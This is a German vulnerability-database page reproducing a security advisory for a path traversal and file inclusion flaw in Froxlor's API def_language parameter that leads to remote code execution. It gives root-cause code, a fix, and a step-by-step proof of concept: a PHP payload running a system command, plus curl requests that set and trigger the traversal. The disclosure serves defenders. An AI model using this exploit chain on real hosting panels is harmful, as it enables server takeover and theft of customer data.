Kritisch

Froxlor has Local File Inclusion via path traversal in API `def_language` parameter leads to Remote Code Execution

  • Veröffentlicht: 16.04.2026
  • Aktualisiert: 11.10.2026 10:22

Summary

The Froxlor API endpoint Customers.update (and Admins.update) does not validate the def_language parameter against the list of available language files. An authenticated customer can set def_language to a path traversal payload (e.g., ../../../../../var/customers/webs/customer1/evil), which is stored in the database. On subsequent requests, Language::loadLanguage() constructs a file path using this value and executes it via require, achieving arbitrary PHP code execution as the web server user.

Details

Root cause: The API and web UI have inconsistent validation for the def_language parameter.

The web UI (customer_index.php:261, admin_index.php:265) correctly validates def_language against Language::getLanguages(), which scans the lng/ directory for actual language files:

php
// customer_index.php:260-265
$def_language = Validate::validate(Request::post('def_language'), 'default language');
if (isset($languages[$def_language])) {
    Customers::getLocal($userinfo, [
        'id' => $userinfo['customerid'],
        'def_language' => $def_language
    ])->update();

The API (Customers.php:1207, Admins.php:600) only runs Validate::validate() with the default regex /^[^\r\n\t\f\0]*$/D, which permits path traversal sequences:

php
// Customers.php:1167-1172 (customer branch)
} else {
    // allowed parameters
    $def_language = $this->getParam('def_language', true, $result['def_language']);
    ...
}
// Customers.php:1207 - validation (shared by admin and customer paths)
$def_language = Validate::validate($def_language, 'default language', '', '', [], true);

The tainted value is stored in the panel_customers (or panel_admins) table. On every subsequent request, it is loaded and used in two paths:

API path (ApiCommand.php:218-222):

php
private function initLang()
{
    Language::setLanguage(Settings::Get('panel.standardlanguage'));
    if ($this->getUserDetail('language') !== null && isset(Language::getLanguages()[$this->getUserDetail('language')])) {
        Language::setLanguage($this->getUserDetail('language'));
    } elseif ($this->getUserDetail('def_language') !== null) {
        Language::setLanguage($this->getUserDetail('def_language')); // No validation
    }
}

Web path (init.php:180-185):

php
if (CurrentUser::hasSession()) {
    if (!empty(CurrentUser::getField('language')) && isset(Language::getLanguages()[CurrentUser::getField('language')])) {
        Language::setLanguage(CurrentUser::getField('language'));
    } else {
        Language::setLanguage(CurrentUser::getField('def_language')); // No validation
    }
}

The language session field is null for API requests and empty on fresh web logins, so both paths fall through to the unvalidated def_language.

File inclusion (Language.php:89-98):

php
private static function loadLanguage($iso): array
{
    $languageFile = dirname(__DIR__, 2) . sprintf('/lng/%s.lng.php', $iso);
    if (!file_exists($languageFile)) {
        return [];
    }
    $lng = require $languageFile;  // Arbitrary PHP execution

With $iso = '../../../../../var/customers/webs/customer1/evil', the path resolves to /var/customers/webs/customer1/evil.lng.php, escaping the lng/ directory.

PoC

Step 1 — Upload malicious language file via FTP:

Froxlor customers have FTP access to their web directory by default (api_allowed defaults to 1 in the schema).

bash
# Create malicious .lng.php file
echo '<?php system("id > /tmp/pwned"); return [];' > evil.lng.php

# Upload to customer web directory via FTP
ftp panel.example.com
> put evil.lng.php

The file is now at /var/customers/webs/<loginname>/evil.lng.php.

Step 2 — Set traversal payload via API:

bash
curl -s -X POST https://panel.example.com/api \
  -H 'Authorization: Basic <base64(apikey:apisecret)>' \
  -d '{"command":"Customers.update","params":{"def_language":"../../../../../var/customers/webs/customer1/evil"}}'

The traversal path is stored in the database. The .lng.php suffix is appended automatically by Language::loadLanguage().

Step 3 — Trigger inclusion on next API call:

bash
curl -s -X POST https://panel.example.com/api \
  -H 'Authorization: Basic <base64(apikey:apisecret)>' \
  -d '{"command":"Customers.get"}'

ApiCommand::initLang() loads def_language from the database and passes it to Language::setLanguage() → loadLanguage() → require /var/customers/webs/customer1/evil.lng.php.

Step 4 — Verify execution:

bash
cat /tmp/pwned
# Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Impact

An authenticated customer can execute arbitrary PHP code as the web server user. This enables:

  • Full server compromise: Read lib/userdata.inc.php to obtain database credentials, then access all customer data, admin credentials, and server configuration.
  • Lateral movement: Access other customers' databases, email, and files from the shared hosting environment.
  • Persistent backdoor: Modify Froxlor source files or cron configurations to maintain access.
  • Data exfiltration: Read all hosted databases and email content across the panel.

The attack is practical because Froxlor is a hosting panel where customers have FTP access by default, and API access is enabled by default (api_allowed = 1). The .lng.php suffix constraint is not a meaningful barrier since the attacker controls file creation in their web directory.

Recommended Fix

Validate def_language against the actual language file list in the API endpoints, matching the web UI behavior:

php
// In Customers.php, replace line 1207:
// $def_language = Validate::validate($def_language, 'default language', '', '', [], true);

// With:
$def_language = Validate::validate($def_language, 'default language', '', '', [], true);
if (!empty($def_language) && !isset(Language::getLanguages()[$def_language])) {
    $def_language = Settings::Get('panel.standardlanguage');
}

Apply the same fix in Admins.php at line 600.

Additionally, add a defensive check in Language::loadLanguage() to prevent path traversal:

php
private static function loadLanguage($iso): array
{
    // Reject path traversal attempts
    if ($iso !== basename($iso) || str_contains($iso, '..')) {
        return [];
    }
    $languageFile = dirname(__DIR__, 2) . sprintf('/lng/%s.lng.php', $iso);
    // ...
}

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Composer-Paket froxlor/froxlor < 2.3.6 2.3.6

Verweise

CVSS-Wert 9.9/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Schwäche (CWE)
CWE-98
Plattform
Composer
Paket
froxlor/froxlor
Veröffentlicht
16.04.2026
Aktualisiert
11.10.2026 10:22

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-w59f-67xm-rxx7 - CC BY 4.0

Schwachstellenhistorie: froxlor/froxlor

Alle veröffentlichten Schwachstellen dieses Pakets (Composer-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (60) im Archiv
Einträge insgesamt
60
Erste → letzte
04.2022 08.2026
Ohne Fix
3
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 12
  • Hoch 21
  • Mittel 26
  • Niedrig 1

Veröffentlichungen pro Jahr

  1. 2022: 15
  2. 2023: 20
  3. 2024: 3
  4. 2025: 2
  5. 2026: 20
Schweregrad:
  1. Hoch · 8.1 CVE-2026-52793 < 2.3.7 2.3.7
  2. Hoch · 7.6 CVE-2026-41234 < 2.3.7 2.3.7
  3. Hoch CVE-2026-41237 < 2.3.7 2.3.7
  4. Froxlor has Local File Inclusion via path traversal in API `def_language` parameter leads to Remote Code Execution dieser Eintrag
    Kritisch · 9.9 CVE-2026-41228 < 2.3.6 2.3.6
  5. Kritisch · 9.6 CVE-2024-34070 < 2.1.9 2.1.9
  6. Hoch · 7.5 CVE-2023-50256 < 2.1.2 2.1.2
  7. Kritisch · 9.9 CVE-2023-6069 < 2.1.0-beta1 2.1.0-beta1
  8. Kritisch · 9.1 CVE-2023-3668 < 2.0.21 2.0.21
  9. Hoch · 7.2 CVE-2023-3172 < 2.0.20 2.0.20
Mehr anzeigen (13) 20 von 33 angezeigt

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.